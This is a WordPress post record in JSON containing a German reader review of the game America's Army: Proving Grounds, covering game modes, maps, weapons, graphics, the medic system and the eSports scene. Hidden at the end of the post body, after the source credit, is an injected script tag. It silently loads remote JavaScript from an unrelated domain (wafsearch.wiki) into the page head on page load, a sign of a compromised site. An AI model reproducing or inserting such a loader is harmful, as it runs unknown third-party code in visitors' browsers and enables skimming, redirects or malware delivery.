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{"id":2387,"date":"2017-04-13T20:27:37","date_gmt":"2017-04-13T18:27:37","guid":{"rendered":"http:\/\/www.bandes.de\/?p=2387"},"modified":"2025-06-17T17:20:11","modified_gmt":"2025-06-17T15:20:11","slug":"americas-army-proving-grounds","status":"publish","type":"post","link":"https:\/\/www.bandes.de\/?p=2387","title":{"rendered":"America&#8217;s Army: Proving Grounds"},"content":{"rendered":"<p style=\"text-align: justify;\"><a href=\"http:\/\/www.gametracker.com\/server_info\/91.198.152.67:7778\/\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/cache.gametracker.com\/server_info\/91.198.152.67:7778\/b_560_95_1.png\" alt=\"\" width=\"560\" height=\"95\" border=\"0\" \/><\/a><\/p>\n<p style=\"text-align: center;\">Ich habe Euch einen Server zur verf\u00fcgung gestellt, somit k\u00f6nnt ihr Euch selber eine Bild machen<br \/>\nDas Game ist absolut Free To Play<\/p>\n<p style=\"text-align: center;\"><span style=\"text-decoration: underline;\"><span style=\"font-family: arial, helvetica, sans-serif; font-size: 12pt;\">America&#8217;s Army: Proving Grounds<\/span><\/span><\/p>\n<div id=\"UGC\" class=\"article\" style=\"text-align: center;\" data-id=\"7592\" data-type=\"124\" data-gameid=\"49978\">\n<div class=\"ugcArticleContent\">\n<p>America\u00b4s Army : Proving Grounds(AA:PG) ist ein First Person Shooter entwickelt von der U.S. Army. Es ist der vierte Teil dieser Serie und und ist der offizielle Nachfolger von den Titeln America\u00b4s Army und America\u00b4s Army 3 an. Das Spiel ist kostenlos bei Steam erh\u00e4ltlich und beinhaltet auch keine weiteren Kosten um etwa schneller voran zu kommen oder \u00e4hnliches.<\/p>\n<p><strong>Das Szenario:<\/strong><\/p>\n<p>Das Spiel kn\u00fcpft an die offiziellen Comics an und spiegelt so den Konflikt zwischen den Vereinigten Staaten und einem erdachten Staat namens Czervenia wieder . In dem Spiel selber werden jegliche Maps (bis auf eine Ausnahme) als Trainings Maps dargestellt um die k\u00fcnftigen Eingreiftruppen auszubilden. Das bedeutet man spielt als U.S. Soldat auch gegen U.S. Soldaten in Czervianischer Uniform.<\/p>\n<p><strong>Entwicklung:<\/strong><\/p>\n<p>Das Spiel befindet sich seid dem 29. August 2013 in der Open Beta Phase und wird st\u00e4ndig weiterentwickelt. So gab es das erste Content update RFI-1 am 31.Oktober welches die ersten Nachtmaps( Harbor Assault, Bridge_night) in das Spiel brachte. Au\u00dferdem wurden Features wie Nachtsichtger\u00e4t, Lehnen und der hooah Schrei implementiert. Ein weiteres RFI-2 sind ist f\u00fcr das erste Quartal 2014 angek\u00fcndigt worden. Zu diesem Update wurden bereits neue Maps und ein Mission Editor best\u00e4tigt der es den Leuten erm\u00f6glichen soll ihre alt geliebten Maps von AA2 oder AA3 nach zu bilden.<\/p>\n<p><strong>Spielprinzip:<\/strong><\/p>\n<p>Bisher gibt es bei AA:PG 3 Spielmodi:<\/p>\n<p>Extraktion. Fahne zum Ziel bringen oder Fahne erobern und dann extrahieren<\/p>\n<p>Detonation: Bombe scharf machen und \u00a0besch\u00fctzen bis sie detoniert ist<\/p>\n<p>Activate: mehrere Objectives aktivieren(Funkger\u00e4te)<\/p>\n<p>Zudem unterscheidet man bei dem Maps zwischen BDX(Battle drill exercise) und FLO(Frontline Operations) Maps, wobei BDX Maps mit maximal 6 gegen 6 spielbar sind und die FLO Maps mit 12 gegen 12.<\/p>\n<p>BDX Maps.<\/p>\n<p>Breach, Watchdog, Outer Hospital, Lockdown, Crossfire, Springstreet, Siege und Shadowstep<\/p>\n<p>FLO Maps:<\/p>\n<p>Bridge, Hospital, Inner Hospital, Downtown, Three Kings, Harbor Assault und Brige Night<\/p>\n<p>Auf jeder Map gibt es 2 Teams. Das Alpha welches zu Beginn einer Map auf angreifen muss startet und das Bravo Team welches verteidigen muss. Eine Runde gewonnen hat das Team, welches die Mission erf\u00fcllt sprich die Fahne extrahiert, die Bombe zur Detonation bringt oder die Objectives aktiviert. Au\u00dferdem\u00a0gilt die Runde als gewonnen wenn das ganze gegnerische Team ausgeschaltet wurde oder zu min. einer auf Defence \u00fcberlebt und das Missionsziel des Gegnerteams in der vorgegebenen Zeit nicht erreicht wurde.\u00a0Wieviele Runden gespielt wird ist vom Server abh\u00e4ngig bel\u00e4uft sich aber in der Regel zwischen Best of 9 oder 25. Nach der H\u00e4lfte der gespielten Runden werden die Seiten getauscht.<\/p>\n<p><strong>Waffen &amp; Ausr\u00fcstung:<\/strong><\/p>\n<p>Im Gegensatz zu den Vorg\u00e4ngern gibt es bei AA:PG keine vordefinierten Waffen slots mehr. Jeder Spieler kann sich seine Ausr\u00fcstung vor Beginn der Runde individuell aussuchen. Folgendes steht dabei zur Verf\u00fcgung:<\/p>\n<p>M4A1 Sturmgewehr<\/p>\n<p>M14 Assault Rifle<\/p>\n<p>M249 Mashine Gun<\/p>\n<p>Remington 870 CMS Shotgun<\/p>\n<p>M9A1 Pistol<\/p>\n<p>M67 Frag Granade<\/p>\n<p>M84 Stun Granade(Flash)<\/p>\n<p>M83 Smoke Granade<\/p>\n<p>M106 Fog Granade<\/p>\n<p>Bei der Waffenauswahl kann man eine Hauptwaffe auw\u00e4hlen, welche man mit 3 verschiedenen Visiereinrichtungen ausstatten kann: Ironsight (Kimme&amp;Korn), Red Dot (Rot Punkt), Acog 4x (4fach vergr\u00f6\u00dfert).<\/p>\n<p>Eine Pistole tr\u00e4gt jeder als sekund\u00e4r Waffe.<\/p>\n<p>2 weitere Slots f\u00fcr Granaten. In dem ersten Slot k\u00f6nnen alle Granaten ausgew\u00e4hlt werden. In dem zweiten Slot alles ausser die Frag Granade. Somit sind bis zu 4 Smokes, Fogs oder Flashes m\u00f6glich wobei die Frag Granade auf Anzahl.1 limitiert ist.<\/p>\n<p><strong>Grafik:<\/strong><\/p>\n<p>America\u00b4s Army Proving Grounds basiert auf der Unreal Engine sowie wie seine Vorg\u00e4nger auch. Die Grafik ist gut aber nicht \u00fcberragend. Dadurch ist das Spiel auch auf \u00e4lteren Rechnern noch Spielbar.<\/p>\n<p>Systemanforderungen:<\/p>\n<table>\n<tbody>\n<tr>\n<th>Operating System<\/th>\n<td>Microsoft Windows Vista<\/td>\n<td>Microsoft Windows 7 or higher<\/td>\n<\/tr>\n<tr>\n<th>Processor<\/th>\n<td>2.4+ GHz Quad Core CPU<\/td>\n<td>3.3+GHz Core i5 CPU<\/td>\n<\/tr>\n<tr>\n<th>Memory<\/th>\n<td>4GB RAM<\/td>\n<td>8GB RAM<\/td>\n<\/tr>\n<tr>\n<th>Video Card<\/th>\n<td>Direct X 9.0c compliant, Shader 3.0 enabled video card with 512MB RAM<\/p>\n<p>NVIDIA 9800 gtx or better\/ATI Radeon5800 or better<\/td>\n<td>Direct X 9.0c compliant, Shader 3.0 enabled video card with 1GB RAM<\/p>\n<p>NVIDIA 560 GTX TI or better\/ATI 7700 or better<\/td>\n<\/tr>\n<tr>\n<th>Sound Card<\/th>\n<td>Direct X 9.0c compliant sound card<\/td>\n<td>Direct X 9.0c compliant sound card<\/td>\n<\/tr>\n<tr>\n<th>Hard Drive Space<\/th>\n<td>10GB free hard drive space<\/td>\n<td>10GB free hard drive space<\/td>\n<\/tr>\n<tr>\n<th>Network<\/th>\n<td>Broadband Internet Connection<\/td>\n<td>Broadband Internet Connection<\/td>\n<\/tr>\n<tr>\n<th>Web Browser<\/th>\n<td>Internet Explorer 9 or higher<\/td>\n<td>Internet Explorer 9 or higher<\/td>\n<\/tr>\n<tr>\n<th>Media Player<\/th>\n<td>Windows Media Player 12 or higher<\/td>\n<td>Windows Media Player 12 or higher<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>Die eint\u00f6nige, bausteinartige Gestaltung der Maps und die immer wiederkehrenden gleichen Texturen an H\u00e4userw\u00e4nden wirken schnell langweilig und sehen teilweise noch sehr verwaschen und unscharf aus.<\/p>\n<p>Die Waffenmodels sind dagegen sehr detailliert und Lichtreflexionen sehen sch\u00f6n aus aber nicht \u00fcbertrieben.<\/p>\n<p>Zusammenfallende Geb\u00e4ude oder interaktive Umgebung findet man in dem Spiel nicht. Lediglich die Holzw\u00e4nde lassen sich durchschie\u00dfen. Die durchschlagenden Projektile verletzen den Gegner jedoch ist die Wirkung vermindert, Kopftreffer wirken weiterhin t\u00f6dlich.<\/p>\n<p><strong>Medic System:<\/strong><\/p>\n<p>Der Spieler beginnt die Runde mit 100 HP die sich nach Treffern nicht wieder aufladen. Je nach Trefferzone verliert der Spieler unterschiedlich viel Leben. Kopftreffer sind sofort t\u00f6dlich. Kann man sich dem Feuer eines Gegners entziehen ist man meist am bluten. Dies ist an dem rot gef\u00e4rbten Lebensbalken und der Prozentanzeige zu erkennen. Je nachdem wie weit der Balken eingef\u00e4rbt ist kann man erkennen wie stark man blutet. Anders wie bei den Vorg\u00e4ngern ist man allerdings nicht auf die Hilfe seiner Kameraden angewiesen sondern jeder Soldat kann sich selbst versorgen und das bis man verblutet oder gestorben ist.<strong><br \/>\n<\/strong><\/p>\n<p>Je mehr der Spieler verletzt ist desto schwere f\u00e4llt auch das zielen durch erschwerte Atmung. Andere Einschr\u00e4nkungen wie vermindertes Tempo gibt es nicht.<\/p>\n<p>Sollte man fr\u00fchzeitig das zeitliche segnen ist alledings noch nicht gleich alles vorbei. Das heisst es k\u00f6nnen einen die eigenen Teammitglieder wiederbeleben und man kann mit 25 % Leben wieder zur\u00fcck ins Gefecht.<\/p>\n<p>Aber Vorsicht es gibt auch Server die keinen Revive erlauben, in der Regel ist auf den Servern das &#8222;reviven&#8220; einmal erlaubt.<\/p>\n<p>Der Wiederbelebung kann aber auch durch das gegnerische Team entgegen gewirkt werden indem die abgeschossenen Gegenspieler &#8222;secured&#8220; werden. Das \u00e4u\u00dfert sich im Spiel durch die Fesselung mit Kabelbindern. Wird der Spieler nach 5 Sekunden nicht entfesselt so ist er aus dem Spiel und kann erst n\u00e4chste Runde wieder aktiv mitwirken.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Community:<\/strong><\/p>\n<p>Einst besa\u00df America\u00b4s Army als bester Free 2 Play Shooter eine riesige Community. Da viele Spieler von dem Misserfolg des AA3 Titels abgeschreckt wurden oder abgewandert sind zeigt sich das heute immer noch wieder. Viele Spieler gehen auch mit Vorurteilen in das Spiel, wie&#8220;CoD Klon&#8220; &#8222;Propagandamittel&#8220; usw.<\/p>\n<p>Das Spiel besitzt keine gro\u00dfe Community bis jetzt aber daf\u00fcr eine sehr aktive. So entstehen neue Projekte wie z.B. aao-daily.com. Auf dieser Seite geht es rund um America\u00b4s Army mit vielen Informationen rund um en eSports Bereich.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>eSports:<\/strong><\/p>\n<p>Das Spiel ist mittlerweile auf zahlreichen Platformen angeboten. Sie bieten die TWL seid l\u00e4ngerem schon eine America\u00b4s Army: PG Ladder auf der fast 40 Teams ihr unwesen treiben. Die ESL hostete einen Beta Cup und organisiert gerade den zweiten als Grundlage f\u00fcr eine neue Ladder.<\/p>\n<p>Auch in Deutschland gibt es eine eigene Liga die ihre erste Saison gestartet hat. In der DeSBL sind k\u00e4mpfen zur zeit 6 Teams, wobei dort sogar ein kleines Preisgeld lockt.<\/p>\n<p>Weitere Ligen, Ladders, Tournaments und Drafts werden st\u00e4ndig organisiert und abgehalten. Au\u00dferdem werden zahlreiche Matches gecasted Beispiele von Clanwars findet ihr hier:<\/p>\n<div class=\"embed-container\"><iframe loading=\"lazy\" title=\"LASST UNS ZUSAMMEN ZOCKEN | America&#039;s Army Proving Grounds Hornisse86\" width=\"850\" height=\"478\" src=\"https:\/\/www.youtube.com\/embed\/zuBUHnl0ROQ?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/div>\n<p><strong>Fazit:<\/strong><\/p>\n<p><strong><br \/>\n<\/strong>Eins steht fest das Spiel kann begeistern und es steckt noch viel Potential ihn ihm. Mit dem vierten Teil der Serie haben die Entwickler der U.S. Army den geschmack der Spieler wieder besser getroffen als mit dem Vorg\u00e4nger AA3. Eins ist klar das Spiel befindet sich in der Beta Phase und ist somit nicht ganz Bugfrei. So kommt es mal zu einem Absturz des Spieleclients oder leichte Grafikfehler sind zu erkennen, aber das kommt selbst in den besten Spielen vor. Dadurch das das Spiel st\u00e4ndig weiterentwickelt wird und man auch selber an dem Prozess teilhaben kann kommt nicht viel langeweile auf. Die Developer sind sehr aktiv lesen im offiziellen Forum was die Leute w\u00fcnschen und versuchen dies auch schnell ins Spiel einzubringen. Klar ist die Optik nicht die Beste, trotzdem hat sich das Spiel nicht vor anderen zu verstecken und ist mit eher mittel hohen Anforderungen auch f\u00fcr den Durchschnittsspieler geeignet. Man darf bei der Betrachtung von AA:PG nie vergessen das es sich um ein Free 2 Play Spiel handelt und die Erwartungen nie so hoch wie an ein Call of Duty oder Battlefield, welche mit Millionen Budgets auffahren, gestellt werden d\u00fcrfen. Umso l\u00e4nger man das Spiel spielt desto mehr f\u00e4ngt man es an zu lieben. Man lernt wie man sich verhalten muss und wie man besser vorgeht.<\/p>\n<p>Die bisher wenigen Maps und wenig nutzbare Waffen sind schnell kennengelernt und bieten teilweise nicht viel Abwechslungen. Die Aussicht auf ein Map Editor bringt Licht ins dunkel und bietet dem Spieler bald mehr als nur das reine Spiel.<\/p>\n<p>Am meisten Spa\u00df macht das Spiel in eine Clan\/Team. Mit diesem kann man sich absprechen und Taktiken entwickeln. Wenn man sich dazu hingezogen f\u00fchlt kann man sich versuchen in einigen Zahlreichen Ligen\/ Ladders zu behaupten, wogegen das Public Spiel sehr wild wirkt und ist keineswegs vergleichbar.<\/p>\n<p>Viele sagen es ist nur ein Propaganda Spiel von der U.S. Army. Mag vielleicht sein allerdings erh\u00e4lt der Spieler zu keiner Zeit den Eindruck beworben zu werden oder sonstiges. Genauso wenig wie das Spiel als CoD Klon bezeichnet wird. Das Spiel zeichnet sich durch seine weise aus und bringt den alten &#8222;Spirit&#8220; von America\u00b4s Army wieder zur\u00fcck.<\/p>\n<\/div>\n<\/div>\n<div class=\"teaserTextSpacer\" style=\"text-align: center;\"><\/div>\n<p style=\"text-align: center;\">Quelle:http:\/\/www.gamestar.de\/spiele\/americas-army-proving-grounds\/leser-rezensionen\/f2p-americas-army-proving-grounds,49978,7592.html<\/p>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ich habe Euch einen Server zur verf\u00fcgung gestellt, somit k\u00f6nnt ihr Euch selber eine Bild machen Das Game ist absolut Free To Play America&#8217;s Army: Proving Grounds America\u00b4s Army : Proving Grounds(AA:PG) ist ein First Person Shooter entwickelt von der U.S. Army. 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